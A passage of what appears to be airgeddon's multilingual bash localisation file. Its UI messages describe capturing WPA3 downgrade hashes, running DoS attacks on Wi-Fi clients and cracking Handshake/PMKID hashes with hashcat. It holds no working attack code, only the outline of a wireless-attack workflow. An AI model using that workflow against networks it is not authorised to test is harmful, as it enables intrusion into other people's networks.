has obtingut algun hash" arr["PORTUGUESE",783]="Não feche manualmente nenhuma janela, o script fará isso quando for apropriado. Em no máximo \${timeout} segundos você saberá se obteve alguma hash" arr["RUSSIAN",783]="Не закрывайте окна вручную, скрипт сам закроет их по мере необходимости. Через не более чем \${timeout} секунд, вы узнаете, получилось ли захватить хеши" arr["GREEK",783]="Μην κλείνετε χειροκίνητα κανένα παράθυρο, το script θα το κάνει όταν χρειαστεί. Το πολύ σε \${timeout} δευτερόλεπτα θα ξέρετε αν αποκτήσατε κάποιο hash" arr["ITALIAN",783]="Non chiudere manualmente nessuna finestra, lo script lo farà quando necessario. Entro \${timeout} secondi al massimo saprai se hai ottenuto qualche hash" arr["POLISH",783]="Nie zamykaj ręcznie żadnego okna, skrypt zrobi to w stosownym momencie. W maksymalnie \${timeout} sekund dowiesz się, czy uzyskałeś jakieś hashe" arr["GERMAN",783]="Schließe keine Fenster manuell, das Skript erledigt das, wenn es erforderlich ist. In spätestens \${timeout} Sekunden weißt du, ob du Hashes erhalten hast" arr["TURKISH",783]="Hiçbir pencereyi elle kapatmayın, betik uygun zamanda bunu yapacaktır. En fazla \${timeout} saniye içinde herhangi bir hash elde edip etmediğinizi bileceksiniz" arr["ARABIC",783]="ثانية كحد أقصى ستعرف ما إذا حصلت على أي هاشات \${timeout} لا تقم بإغلاق أي نافذة يدويًا، فسوف يقوم السكربت بذلك عند اللزوم. خلال" arr["CHINESE",783]="请不要手动关闭任何窗口,脚本会在适当的时候自动关闭。最多在 \${timeout} 秒内你就会知道是否获得了哈希" arr["ENGLISH",784]="The selected network is invalid. You have selected a target network with a hidden ESSID. The ESSID of the network is required to be known to carry out the attack" arr["SPANISH",784]="La red seleccionada no es válida. Has seleccionado una red objetivo con ESSID oculto. Es necesario conocer el ESSID de la red para llevar a cabo el ataque" arr["FRENCH",784]="Le réseau sélectionné n'est pas valide. Tu as sélectionné un réseau cible avec un ESSID masqué. Il est nécessaire de connaître l'ESSID du réseau pour effectuer l'attaque" arr["CATALAN",784]="La xarxa seleccionada no és vàlida. Has seleccionat una xarxa objectiu amb ESSID ocult. Cal conèixer l'ESSID de la xarxa per dur a terme l'atac" arr["PORTUGUESE",784]="A rede selecionada não é válida. Selecionaste uma rede com ESSID oculto. É necessário conhecer o ESSID da rede para realizar o ataque" arr["RUSSIAN",784]="Выбранная сеть непригодна для проведения атаки. Вы выбрали целевую сеть со скрытым ESSID. Для проведения атаки необходимо знать ESSID сети" arr["GREEK",784]="Το επιλεγμένο δίκτυο δεν είναι έγκυρο. Έχετε επιλέξει ένα δίκτυο στόχο με κρυφό ESSID. Απαιτείται να είναι γνωστό το ESSID του δικτύου για να εκτελεστεί η επίθεση" arr["ITALIAN",784]="La rete selezionata non è valida. Hai selezionato una rete obiettivo con ESSID nascosto. È necessario conoscere l'ESSID della rete per eseguire l'attacco" arr["POLISH",784]="Wybrana sieć jest nieprawidłowa bo ma ukryty identyfikator ESSID. Do przeprowadzenia ataku konieczne jest poznanie ESSID sieci" arr["GERMAN",784]="Das ausgewählte Netzwerk ist ungültig. Du hast ein Zielnetzwerk mit verstecktem ESSID ausgewählt. Die ESSID des Netzwerks muss bekannt sein, um den Angriff durchzuführen" arr["TURKISH",784]="Seçilen ağ geçersiz. Gizli ESSID'ye sahip bir hedef ağ seçtiniz. Saldırıyı gerçekleştirmek için ağın ESSID'sinin bilinmesi gereklidir" arr["ARABIC",784]="الشبكة لتنفيذ الهجوم ESSID مخفي. يلزم معرفة ESSID الشبكة المحددة غير صالحة. لقد اخترت شبكة هدف ذات" arr["CHINESE",784]="所选网络无效。你已经选择了一个具有隐藏 ESSID 的目标网络。而执行攻击需要知道该网络的 ESSID" arr["ENGLISH",785]="Do you want to save the trophy file with the obtained hash? \${normal_color}\${visual_choice}" arr["SPANISH",785]="¿Quieres guardar el archivo de trofeo con el hash obtenido? \${normal_color}\${visual_choice}" arr["FRENCH",785]="Veux-tu enregistrer le fichier trophée avec le hash obtenu ? \${normal_color}\${visual_choice}" arr["CATALAN",785]="¿Vols desar el fitxer de trofeu amb el hash obtingut? \${normal_color}\${visual_choice}" arr["PORTUGUESE",785]="Você quer salvar o arquivo de troféu com o hash obtido? \${normal_color}\${visual_choice}" arr["RUSSIAN",785]="Хотите сохранить файл с полученным хешем? \${normal_color}\${visual_choice}" arr["GREEK",785]="Θέλετε να αποθηκεύσετε το αρχείο trophy με το hash που αποκτήθηκε; \${normal_color}\${visual_choice}" arr["ITALIAN",785]="Vuoi salvare il file trofeo con l'hash ottenuto? \${normal_color}\${visual_choice}" arr["POLISH",785]="Chcesz zapisać plik trofeum z uzyskanym hashem? \${normal_color}\${visual_choice}" arr["GERMAN",785]="Willst du die Trophäendatei mit dem erhaltenen Hash speichern? \${normal_color}\${visual_choice}" arr["TURKISH",785]="Elde edilen hash ile kupa dosyasını kaydetmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",785]="\${normal_color}\${visual_choice} \${green_color}هل تريد حفظ ملف الكأس مع الهاش الذي تم الحصول عليه؟" arr["CHINESE",785]="你想用获取到的哈希保存奖杯文件吗? \${normal_color}\${visual_choice}" arr["ENGLISH",786]="WPA3 downgrade hash trophy file generated successfully at [\${normal_color}\${downgradepotenteredpath}\${blue_color}]" arr["SPANISH",786]="Fichero de trofeo hash de WPA3 downgrade generado con éxito en [\${normal_color}\${downgradepotenteredpath}\${blue_color}]" arr["FRENCH",786]="Fichier trophée hash de downgrade WPA3 généré avec succès à [\${normal_color}\${downgradepotenteredpath}\${blue_color}]" arr["CATALAN",786]="Fitxer trofeu hash de downgrade WPA3 generat amb èxit a [\${normal_color}\${downgradepotenteredpath}\${blue_color}]" arr["PORTUGUESE",786]="Arquivo troféu com o hash de downgrade WPA3 gerado com sucesso em [\${normal_color}\${downgradepotenteredpath}\${blue_color}]" arr["RUSSIAN",786]="Файл с хешем WPA3 downgrade успешно сгенерирован в [\${normal_color}\${downgradepotenteredpath}\${blue_color}]" arr["GREEK",786]="Το αρχείο υποβάθμισης trophy hash WPA3 δημιουργήθηκε με επιτυχία στο [\${normal_color}\${downgradepotenteredpath}\${blue_color}]" arr["ITALIAN",786]="Il file trofeo hash di downgrade WPA3 è stato generato con successo in [\${normal_color}\${downgradepotenteredpath}\${blue_color}]" arr["POLISH",786]="Plik trofeum z hashem downgradu (degradacji) WPA3 został pomyślnie wygenerowany w [\${normal_color}\${downgradepotenteredpath}\${blue_color}]" arr["GERMAN",786]="WPA3-Downgrade-Hash-Trophäendatei wurde erfolgreich erstellt in [\${normal_color}\${downgradepotenteredpath}\${blue_color}]" arr["TURKISH",786]="WPA3 düşürme (downgrade) hash kupa dosyası [\${normal_color}\${downgradepotenteredpath}\${blue_color}] konumunda başarıyla oluşturuldu" arr["ARABIC",786]="[\${normal_color}\${downgradepotenteredpath}\${blue_color}] بنجاح WPA3 تم إنشاء ملف الكأس الخاص بهاش تخفيض \${normal_color}" arr["CHINESE",786]="WPA3 降级 hash 奖杯文件已成功生成于 [\${normal_color}\${downgradepotenteredpath}\${blue_color}]" arr["ENGLISH",787]="Type the path to store the file or press [Enter] to accept the default proposal \${normal_color}[\${downgrade_potpath}]" arr["SPANISH",787]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto \${normal_color}[\${downgrade_potpath}]" arr["FRENCH",787]="Entrez le chemin où vous voulez enregistrer le fichier ou bien appuyez sur [Enter] pour prendre le chemin proposé par défaut \${normal_color}[\${downgrade_potpath}]" arr["CATALAN",787]="Escriu la ruta on guardarem el fitxer o prem [Enter] per acceptar la proposta per defecte \${normal_color}[\${downgrade_potpath}]" arr["PORTUGUESE",787]="Digite o caminho para salvar o arquivo ou pressione [Enter] para o caminho padrão \${normal_color}[\${downgrade_potpath}]" arr["RUSSIAN",787]="Напечатайте путь, по которому сохранить файл или нажмите [Enter] для принятия предложения по умолчанию \${normal_color}[\${downgrade_potpath}]" arr["GREEK",787]="Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε [Enter] για την προεπιλεγμένη επιλογή \${normal_color}[\${downgrade_potpath}]" arr["ITALIAN",787]="Scrivere il percorso dove memorizzare il file o premere [Enter] per accettare la proposta di default \${normal_color}[\${downgrade_potpath}]" arr["POLISH",787]="Wpisz ścieżkę do zapisywania plików lub naciśnij [Enter], aby zaakceptować domyślną propozycję \${normal_color}[\${downgrade_potpath}]" arr["GERMAN",787]="Schreiben Sie den Pfad, unter dem die Datei gespeichert werden soll, oder drücken Sie die [Enter]-Taste, um den Standardvorschlag \${normal_color}[\${downgrade_potpath}] \${green_color}zu benutzen" arr["TURKISH",787]="Dosyayı depolamak için yolu yazın veya varsayılan teklifi kabul etmek için [Enter] tuşuna basın \${normal_color}[\${downgrade_potpath}]" arr["ARABIC",787]="\${normal_color}[\${downgrade_potpath}]\${green_color} لقبول الاقتراح [Enter] اكتب المسار لتخزين الملف أو اضغط على\${normal_color}" arr["CHINESE",787]="请输入文件的存储路径或按 [Enter] 接受默认建议 \${normal_color}[\${downgrade_potpath}]" arr["ENGLISH",788]="It seems we failed... try again or choose another DoS attack. Maybe there are no WPA2 clients connected and if there are WPA3 clients they may be immune to the DoS attack due to the use of MFP (Management Frame Protection)" arr["SPANISH",788]="Parece que no lo hemos conseguido... inténtalo de nuevo o elige otro ataque DoS. Quizá no haya clientes WPA2 conectados y si hay clientes WPA3 puede que sean inmunes al ataque DoS debido al uso de MFP (Management Frame Protection)" arr["FRENCH",788]="Il semble que on a échoué... réessaye ou choisis une autre attaque DoS. Peut-être il y a aucun client WPA2 connecté et, s'il y a des clients WPA3, ils peuvent être immunisés contre l'attaque DoS en raison de l'utilisation de MFP (Management Frame Protection)" arr["CATALAN",788]="Sembla que no ho hem aconseguit... torna-ho a provar o tria un altre atac DoS. Potser no hi ha clients WPA2 connectats i, si hi ha clients WPA3, poden ser immunes a l'atac DoS a causa de l'ús de MFP (Management Frame Protection)" arr["PORTUGUESE",788]="Parece que nos falhamos... tente novamente ou escolha outro ataque DoS. Talvez não haja clientes WPA2 conectados, e se houver clientes WPA3 eles podem ser imunes ao ataque DoS devido ao uso de MFP (Management Frame Protection)" arr["RUSSIAN",788]="Похоже, нам не удалось... попробуйте ещё раз или выберите другую DoS атаку. Возможно, у сети нет подключённых WPA2 клиентов, а WPA3 клиенты, могут быть невосприимчивы к DoS атаке из-за использования MFP (Management Frame Protection)" arr["GREEK",788]="Φαίνεται ότι αποτύχαμε... προσπαθήστε ξανά ή επιλέξτε άλλη επίθεση DoS. Ίσως να μην υπάρχουν συνδεδεμένοι πελάτες WPA2 και αν υπάρχουν πελάτες WPA3 μπορεί να είναι ανθεκτικοί στην επίθεση DoS λόγω της χρήσης του MFP (Management Frame Protection)" arr["ITALIAN",788]="Sembra che abbiamo fallito... riprova o scegli un altro attacco DoS. Forse non ci sono client WPA2 connessi e, se ci sono client WPA3, potrebbero essere immuni all'attacco DoS a causa dell'uso di MFP (Management Frame Protection)" arr["POLISH",788]="Wygląda na to, że się nie udało... spróbuj ponownie lub wybierz inny atak DoS. Być może nie ma podłączonych klientów WPA2, a jeśli są klienci WPA3, mogą być odporni na atak DoS ze względu na użycie MFP (Management Frame Protection)" arr["GERMAN",788]="Anscheinend haben wir es nicht geschafft... versuche es erneut oder wähle einen anderen DoS-Angriff. Vielleicht sind keine WPA2-Clients verbunden und falls WPA3-Clients vorhanden sind, könnten diese durch die Verwendung von MFP (Management Frame Protection) gegen den DoS-Angriff immun sein" arr["TURKISH",788]="Görünüşe göre başarısız olduk... Tekrar deneyebilir veya başka bir DoS saldırısı seçebilirsin. Belki de bağlı WPA2 istemcisi yoktur ve eğer WPA3 istemcileri varsa, MFP (Yönetim Çerçevesi Koruması) kullandıkları için DoS saldırısına karşı bağışık olabilirler" arr["ARABIC",788]="MFP (Management Frame Protection) بسبب استخدام DoS فقد يكونون محصنين ضد هجوم WPA3 متصلين وإذا وُجد عملاء WPA2 آخر. قد لا يكون هناك عملاء DoS يبدو أننا لم ننجح... حاول مرة أخرى أو اختر هجوم" arr["CHINESE",788]="看来我们失败了…… 请再试一次或选择另一个 DoS 攻击。可能没有连接的 WPA2 客户端,如果有 WPA3 客户端,可能由于使用了 MFP (Management Frame Protection),导致它们对 DoS 攻击免疫" arr["ENGLISH",789]="6. (hashcat) Dictionary attack against Handshake/PMKID hash file" arr["SPANISH",789]="6. (hashcat) Ataque de diccionario sobre fichero de hash Handshake/PMKID" arr["FRENCH",789]="6. (hashcat) Attaque par dictionnaire sur le fichier de hash Handshake/PMKID" arr["CATALAN",789]="6. (hashcat) Atac de diccionari sobre fitxer de hash Handshake/PMKID" arr["PORTUGUESE",789]="6. (hashcat) Ataque de dicionário sobre arquivo de hash Handshake/PMKID" arr["RUSSIAN",789]="6. (hashcat) Перебор по словарю против файла с Handshake/PMKID хешами" arr["GREEK",789]="6. (hashcat) Επίθεση λεξικού στο αρχείο hash Handshake/PMKID" arr["ITALIAN",789]="6. (hashcat) Attacco di dizionario sul file di hash Handshake/PMKID" arr["POLISH",789]="6. (hashcat) Atak słownikowy na plik hash Handshake/PMKID" arr["GERMAN",789]="6. (hashcat) Wörterbuchangriff auf die Handshake/PMKID-Hashdatei" arr["TURKISH",789]="6. (hashcat) Handshake/PMKID hash dosyası üzerinde sözlük saldırısı" arr["ARABIC",789]="6. Handshake/PMKID هجوم القاموس على ملف الهاش (hashcat)" arr["CHINESE",789]="6. (hashcat) 针对 Handshake/PMKID 哈希文件的字典攻击" arr["ENGLISH",790]="7. (hashcat) Bruteforce attack against Handshake/PMKID hash file" arr["SPANISH",790]="7. (hashcat) Ataque de fuerza bruta sobre fichero de hash Handshake/PMKID" arr["FRENCH",790]="7. (hashcat) Attaque par force brute en utilisant le fichier de hash Handshake/PMKID" arr["CATALAN",790]="7. (hashcat) Atac de força bruta sobre fitxer de hash Handshake/PMKID" arr["PORTUGUESE",790]="7. (hashcat) Ataque de força bruta sobre arquivo de hash Handshake/PMKID" arr["RUSSIAN",790]="7. (hashcat) Брутфорс атака против файла с Handshake/PMKID хешами" arr["GREEK",790]="7. (hashcat) Επίθεση brute-force στο αρχείο hash Handshake/PMKID" arr["ITALIAN",790]="7. (hashcat) Attacco di forza bruta sul file di hash Handshake/PMKID" arr["POLISH",790]="7. (hashcat) Atak brute-force na plik hash Handshake/PMKID" arr["GERMAN",790]="7. (hashcat) Brute-Force-Angriff auf die Handshake/PMKID-Hashdatei" arr["TURKISH",790]="7. (hashcat) Handshake/PMKID hash dosyası üzerinde brute-force (kaba kuvvet) saldırısı" arr["ARABIC",790]="7. Handshake/PMKID هجوم القوة العمياء على ملف الهاش (hashcat)" arr["CHINESE",790]="7. (hashcat) 针对 Handshake/PMKID 哈希文件的暴力破解攻击" arr["ENGLISH",791]="8. (hashcat) Rule based attack against Handshake/PMKID hash file" arr["SPANISH",791]="8. (hashcat) Ataque basado en reglas sobre fichero de hash Handshake/PMKID" arr["FRENCH",791]="8. (hashcat) Attaque basée sur des règles en utilisant le fichier de hash Handshake/PMKID" arr["CATALAN",791]="8. (hashcat) Atac basat en regles sobre fitxer de hash Handshake/PMKID" arr["PORTUGUESE",791]="8. (hashcat) Ataque baseado em regras sobre arquivo de hash Handshake/PMKID" arr["RUSSIAN",791]="8. (hashcat) Атака на основе правил против файла с Handshake/PMKID хешами" arr["GREEK",791]="8. (hashcat) Rule based επίθεση στο αρχείο hash Handshake/PMKID" arr["ITALIAN",791]="8. (hashcat) Attacco basato su regole sul file di hash Handshake/PMKID" arr["POLISH",791]="8. (hashcat) Atak na plik hash Handshake/PMKID oparty na regułach" arr["GERMAN",791]="8. (hashcat) Regelbasierter Angriff auf die Handshake/PMKID-Hashdatei" arr["TURKISH",791]="8. (hashcat) Handshake/PMKID hash dosyasına karşı kural tabanlı saldırı" arr["ARABIC",791]="8. Handshake/PMKID هجوم قائم على القواعد على ملف الهاش (hashcat)" arr["CHINESE",791]="8. (hashcat) 针对 Handshake/PMKID 哈希文件的基于规则的攻击" arr["ENGLISH",792]="The selected Handshake/PMKID hash file does not have a valid format. Cannot continue" arr["SPANISH",792]="El fichero de hashes de tipo Handshake/PMKID seleccionado no tiene un formato adecuado. No se puede continuar" arr["FRENCH",792]="Le fichier de hashes Handshake/PMKID sélectionné n’a pas un format valide. On peux pas continuer" arr["CATALAN",792]="El fitxer de hashes de tipus Handshake/PMKID seleccionat no té un format adequat. No es pot continuar" arr["PORTUGUESE",792]="O arquivo de hashes do tipo Handshake/PMKID selecionado não tem um formato válido. Não posso continuar" arr["RUSSIAN",792]="Выбранный файл с Handshake/PMKID хешами имеет неверный формат. Невозможно продолжить" arr["GREEK",792]="Το επιλεγμένο αρχείο hash Handshake/PMKID δεν έχει έγκυρη μορφή. Δεν μπορεί να συνεχιστεί" arr["ITALIAN",792]="Il file di hash di tipo Handshake/PMKID selezionato non ha un formato valido. Non si puó continuare" arr["POLISH",792]="Wybrany plik hash typu Handshake/PMKID nie ma prawidłowego formatu. Nie można kontynuować" arr["GERMAN",792]="Die ausgewählte Handshake/PMKID-Hash-Datei hat kein gültiges Format. Kann nicht fortfahren" arr["TURKISH",792]="Seçilen Handshake/PMKID hash dosyası geçerli bir formata sahip değil. Devam edilemiyor" arr["ARABIC",792]="غير صالحة Handshake/PMKID لا يمكن المتابعة. صيغة ملف التجزئةالمحدد من نوع" arr["CHINESE",792]="所选的 Handshake/PMKID 哈希文件格式无效。无法继续" arr["ENGLISH",793]="Selected hashcat hash file: \${pink_color}None\${normal_color}" arr["SPANISH",793]="Fichero de hashes de hashcat seleccionado: \${pink_color}Ninguno\${normal_color}" arr["FRENCH",793]="Fichier de hashes hashcat sélectionné : \${pink_color}Aucun\${normal_color}" arr["CATALAN",793]="Fitxer de hashes de hashcat seleccionat: \${pink_color}Ningú\${normal_color}" arr["PORTUGUESE",793]="Arquivo de hashes do hashcat selecionado: \${pink_color}Nenhum\${normal_color}" arr["RUSSIAN",793]="Выбранный файл хешей hashcat: \${pink_color}Файл не выбран\${normal_color}" arr["GREEK",793]="Επιλεγμένο hash αρχείο hashcat: \${pink_color}Κανένα\${normal_color}" arr["ITALIAN",793]="File di hashes di hashcat selezionato: \${pink_color}Nessuno\${normal_color}" arr["POLISH",793]="Wybrany plik z hashami hashcat: \${pink_color}Brak\${normal_color}" arr["GERMAN",793]="Ausgewählte Hashcat-Hashes-Datei: \${pink_color}Keine\${normal_color}" arr["TURKISH",793]="Seçilen hashcat hash dosyası: \${pink_color}None\${normal_color}" arr["ARABIC",793]="\${pink_color}None\${blue_color} :ملف تجزئة hashcat المحدد\${normal_color}" arr["CHINESE",793]="已选择的 hashcat 哈希文件:\${pink_color}None\${normal_color}" arr["ENGLISH",794]="Selected hashcat hashes file: \${pink_color}\${hashcathashfileenteredpath}\${normal_color}" arr["SPANISH",794]="Fichero de hashes de hashcat seleccionado: \${pink_color}\${hashcathashfileenteredpath}\${normal_color}" arr["FRENCH",794]="Fichier de hashes hashcat sélectionné : \${pink_color}\${hashcathashfileenteredpath}\${normal_color}" arr["CATALAN",794]="Fitxer de hashes de hashcat seleccionat: \${pink_color}\${hashcathashfileenteredpath}\${normal_color}" arr["PORTUGUESE",794]="Arquivo de hashes do hashcat selecionado: \${pink_color}\${hashcathashfileenteredpath}\${normal_color}" arr["RUSSIAN",794]="Выбранный файл хешей hashcat: \${pink_color}\${hashcathashfileenteredpath}\${normal_color}" arr["GREEK",794]="Επιλεγμένο hash αρχείο hashcat: \${pink_color}\${hashcathashfileenteredpath}\${normal_color}" arr["ITALIAN",794]="File di hashes di hashcat selezionato: \${pink_color}\${hashcathashfileenteredpath}\${normal_color}" arr["POLISH",794]="Wybrany plik z hashami hashcat: \${pink_color}\${hashcathashfileenteredpath}\${normal_color}" arr["GERMAN",794]="Ausgewählte Hashcat-Hashes-Datei: \${pink_color}\${hashcathashfileenteredpath}\${normal_color}" arr["TURKISH",794]="Seçilen hashcat hash dosyası: \${pink_color}\${hashcathashfileenteredpath}\${normal_color}" arr["ARABIC",794]="\${pink_color}\${hashcathashfileenteredpath}\${blue_color} :المحدد hashcat ملف التجزئات \${normal_color}" arr["CHINESE",794]="已选择的 hashcat 哈希文件:\${pink_color}\${hashcathashfileenteredpath}\${normal_color}" arr["ENGLISH",795]="You already have selected a hashcat hashes file during this session [\${normal_color}\${hashcathashfileenteredpath}\${blue_color}]" arr["SPANISH",795]="Ya has seleccionado un fichero de hashes de hashcat en esta sesión [\${normal_color}\${hashcathashfileenteredpath}\${blue_color}]" arr["FRENCH",795]="Tu as déjà sélectionné un fichier de hashes hashcat pour cette session [\${normal_color}\${hashcathashfileenteredpath}\${blue_color}]" arr["CATALAN",795]="Ja has seleccionat un fitxer de hashes de hashcat en aquesta sessió sessió [\${normal_color}\${hashcathashfileenteredpath}\${blue_color}]" arr["PORTUGUESE",795]="Você já selecionou um arquivo de hashes do hashcat nesta sessão [\${normal_color}\${hashcathashfileenteredpath}\${blue_color}]" arr["RUSSIAN",795]="Вы уже выбрали файл хешей hashcat в течение этой сессии [\${normal_color}\${hashcathashfileenteredpath}\${blue_color}]" arr["GREEK",795]="Έχετε ήδη επιλέξει ένα hash αρχείο hashcat κατά τη διάρκεια αυτής της συνεδρίας [\${normal_color}\${hashcathashfileenteredpath}\${blue_color}]" arr["ITALIAN",795]="Hai già selezionato un file di hashes di hashcat in questa sessione [\${normal_color}\${hashcathashfileenteredpath}\${blue_color}]" arr["POLISH",795]="Już wybrałeś plik z hashami hashcat podczas tej sesji [\${normal_color}\${hashcathashfileenteredpath}\${blue_color}]" arr["GERMAN",795]="Du hast bereits während dieser Sitzung eine Hashcat-Hashes-Datei ausgewählt [\${normal_color}\${hashcathashfileenteredpath}\${blue_color}]" arr["TURKISH",795]="Bu oturumda zaten bir hashcat hash dosyası seçtiniz [\${normal_color}\${hashcathashfileenteredpath}\${blue_color}]" arr["ARABIC",795]="\${blue_color}[\${normal_color}\${hashcathashfileenteredpath}\${blue_color}] خلال هذه الجلسة hashcat لقد اخترت بالفعل ملف تجزئة" arr["CHINESE",795]="你已经在本次会话中选择了一个 hashcat 哈希文件 [\${normal_color}\${hashcathashfileenteredpath}\${blue_color}]" arr["ENGLISH",796]="The capture file does not have a valid format" arr["SPANISH",796]="El fichero de captura no tiene un formato válido" arr["FRENCH",796]="Le fichier de capture n’a pas un format valide" arr["CATALAN",796]="El fitxer de captura no té un format vàlid" arr["PORTUGUESE",796]="O arquivo de captura não tem um formato válido" arr["RUSSIAN",796]="Файл захвата имеет неверный формат" arr["GREEK",796]="Το αρχείο capture δεν έχει έγκυρη μορφή" arr["ITALIAN",796]="Il file di cattura non ha un formato valido" arr["POLISH",796]="Plik przechwytywania nie ma prawidłowego formatu" arr["GERMAN",796]="Die Capture-Datei hat kein gültiges Format" arr["TURKISH",796]="Capture dosyası geçerli bir formatta değil" arr["ARABIC",796]="تنسيق ملف الالتقاط غير صالح" arr["CHINESE",796]="捕获文件格式无效" arr["ENGLISH",797]="If the file contains multiple lines with different hashes, airgeddon will only process the first hash (the first line) of the file" arr["SPANISH",797]="Si el fichero contiene varias líneas con diferentes hashes, airgeddon solo procesará el primer hash (la primera línea) del fichero" arr["FRENCH",797]="Si le fichier contient plusieurs lignes avec différents hashes, airgeddon ne traitera que le premier hash (la première ligne) du fichier" arr["CATALAN",797]="Si el fitxer conté diverses línies amb diferents hashes, airgeddon només processarà el primer hash (la primera línia) del fitxer" arr["PORTUGUESE",797]="Se o arquivo contiver várias linhas com diferentes hashes, o airgeddon só processará o primeiro hash (a primeira linha) do arquivo" arr["RUSSIAN",797]="Если файл содержит несколько строк с разными хешами, airgeddon обработает только первый хеш (первую строку) из файла" arr["GREEK",797]="Αν το αρχείο περιέχει πολλές γραμμές με διαφορετικά hashes, το airgeddon θα επεξεργαστεί μόνο το πρώτο hash (την πρώτη γραμμή) του αρχείου" arr["ITALIAN",797]="Se il file contiene più righe con hashes diversi, airgeddon processará solo il primo hash (la prima riga) del file" arr["POLISH",797]="Jeśli plik zawiera kilka linii z różnymi hashami, airgeddon przetworzy tylko pierwszy hash (pierwszą linię) pliku" arr["GERMAN",797]="Wenn die Datei mehrere Zeilen mit verschiedenen Hashes enthält, verarbeitet airgeddon nur den ersten Hash (die erste Zeile) der Datei" arr["TURKISH",797]="Dosya farklı hash'ler içeren birden fazla satır içeriyorsa, airgeddon yalnızca ilk hash'i (ilk satırı) işler" arr["ARABIC",797]="\${normal_color} (السطرالأول) أول تجزئة فقط من الملف airgeddon إذا كان الملف يحتوي على عدة أسطر تضم تجزئات مختلفة، فسيعالج" arr["CHINESE",797]="如果文件包含多行且具有不同的哈希,airgeddon 只会处理文件的第一个哈希(第一行)" arr["ENGLISH",798]="It has been detected that the hash format is an old hashcat format (\${normal_color}\"-m 2500\"\${yellow_color}). It is recommended to use the modern hash format (\${normal_color}\"-m 22000\"\${yellow_color}), so airgeddon will automatically perform the necessary transformation" arr["SPANISH",798]="Se ha detectado que el formato del hash es un formato antiguo (\${normal_color}\"-m 2500\"\${yellow_color}) de hashcat. Se recomienda usar el formato de hash moderno (\${normal_color}\"-m 22000\"\${yellow_color}), por lo que airgeddon hará automáticamente la transformación necesaria" arr["FRENCH",798]="Il a été détecté que le format de hashes est un ancien format de hashcat (\${normal_color}\"-m 2500\"\${yellow_color}). Il est recommandé d’utiliser le format de hashes moderne (\${normal_color}\"-m 22000\"\${yellow_color}), donc airgeddon effectuera automatiquement la transformation nécessaire" arr["CATALAN",798]="S'ha detectat que el format del hash és un format antic (\${normal_color}\"-m 2500\"\${yellow_color}) de hashcat. Es recomana usar el format de hash modern (\${normal_color}\"-m 22000\"\${yellow_color}), per tant airgeddon farà automàticament la transformació necessària" arr["PORTUGUESE",798]="Foi detectado que o formato do hash é um formato antigo (\${normal_color}\"-m 2500\"\${yellow_color}) do hashcat. É recomendado usar o formato de hash moderno (\${normal_color}\"-m 22000\"\${yellow_color}), por isso o airgeddon fará conversão automaticamente" arr["RUSSIAN",798]="Обнаружено, что формат хеша является старым форматом hashcat (\${normal_color}\"-m 2500\"\${yellow_color}). Рекомендуется использовать современный формат хеша (\${normal_color}\"-m 22000\"\${yellow_color}), поэтому airgeddon автоматически выполнит необходимое преобразование" arr["GREEK",798]="Έχει εντοπιστεί ότι η μορφή του hash είναι μια παλιά μορφή hashcat (\${normal_color}\"-m 2500\"\${yellow_color}). Συνιστάται να χρησιμοποιήτε τη σύγχρονη μορφή hash (\${normal_color}\"-m 22000\"\${yellow_color}), επομένως το airgeddon θα πραγματοποιήσει αυτόματα τη μετατροπή που χρειάζεται" arr["ITALIAN",798]="È stato rilevato che il formato dell'hash è un vecchio formato di hashcat (\${normal_color}\"-m 2500\"\${yellow_color}). Si consiglia di usare il formato di hash moderno (\${normal_color}\"-m 22000\"\${yellow_color}), quindi airgeddon effettuerà automaticamente la trasformazione necessaria" arr["POLISH",798]="Wykryto, że format hashu to stary format hashcat (\${normal_color}\"-m 2500\"\${yellow_color}). Zaleca się użycie nowoczesnego formatu hashu (\${normal_color}\"-m 22000\"\${yellow_color}), dlatego też airgeddon automatycznie przeprowadzi potrzebną transformację" arr["GERMAN",798]="Es wurde erkannt, dass das Hash-Format ein altes hashcat-Format ist (\${normal_color}\"-m 2500\"\${yellow_color}). Es wird empfohlen, das moderne Hash-Format zu verwenden (\${normal_color}\"-m 22000\"\${yellow_color}), daher wird airgeddon automatisch die notwendige Umwandlung durchführen" arr["TURKISH",798]="Hash formatının eski bir hashcat formatı (\${normal_color}\"-m 2500\"\${yellow_color}) olduğu tespit edildi. Modern hash formatını kullanmanız önerilir (\${normal_color}\"-m 22000\"\${yellow_color}), bu yüzden airgeddon gerekli dönüşümü otomatik olarak yapacaktır" arr["ARABIC",798]="تلقائيًا بإجراء التحويل اللازم airgeddon لذلك سيقوم ,(\${normal_color}\"-m 22000\"\${yellow_color}) يُوصى باستخدام صيغة الهاش الحديثة .hashcat (\${normal_color}\"-m 2500\"\${yellow_color}) تم الكشف أن صيغة الهاش قديمة في" arr["CHINESE",798]="检测到该哈希格式是旧的 hashcat 格式 (\${normal_color}\"-m 2500\"\${yellow_color})。建议使用现代的哈希格式 (\${normal_color}\"-m 22000\"\${yellow_color}),airgeddon 可能会执行必要的转换" arr["ENGLISH",799]="The transformation has been successfully completed" arr["SPANISH",799]="La transformación se ha realizado correctamente" arr["FRENCH",799]="La transformation a été effectuée avec succès" arr["CATALAN",799]="La transformació s’ha realitzat correctament" arr["PORTUGUESE",799]="A conversão foi realizada com sucesso" arr["RUSSIAN",799]="Преобразование было успешно выполнено" arr["GREEK",799]="Η μετατροπή ολοκληρώθηκε με επιτυχία" arr["ITALIAN",799]="La trasformazione è stata completata correttamente" arr["POLISH",799]="Transformacja została pomyślnie wykonana" arr["GERMAN",799]="Die Umwandlung wurde erfolgreich durchgeführt" arr["TURKISH",799]="Dönüşüm başarıyla tamamlandı" arr["ARABIC",799]="تم التحويل بنجاح" arr["CHINESE",799]="转换已成功完成" arr["ENGLISH",800]="Do you want to use this already selected hash file? \${normal_color}\${visual_choice}" arr["SPANISH",800]="¿Quieres utilizar este fichero de hash ya seleccionado? \${normal_color}\${visual_choice}" arr["FRENCH",800]="Veux-tu utiliser ce fichier de hash déjà sélectionné? \${normal_color}\${visual_choice}" arr["CATALAN",800]="¿Vols utilitzar aquest fitxer de hash ja seleccionat? \${normal_color}\${visual_choice}" arr["PORTUGUESE",800]="Você quer usar este arquivo hash já selecionado \${normal_color}\${visual_choice}" arr["RUSSIAN",800]="Хотите использовать уже выбранный файл хеша? \${normal_color}\${visual_choice}" arr["GREEK",800]="Θέλετε να χρησιμοποίησετε αυτό το ήδη επιλεγμένο αρχείο hash; \${normal_color}\${visual_choice}" 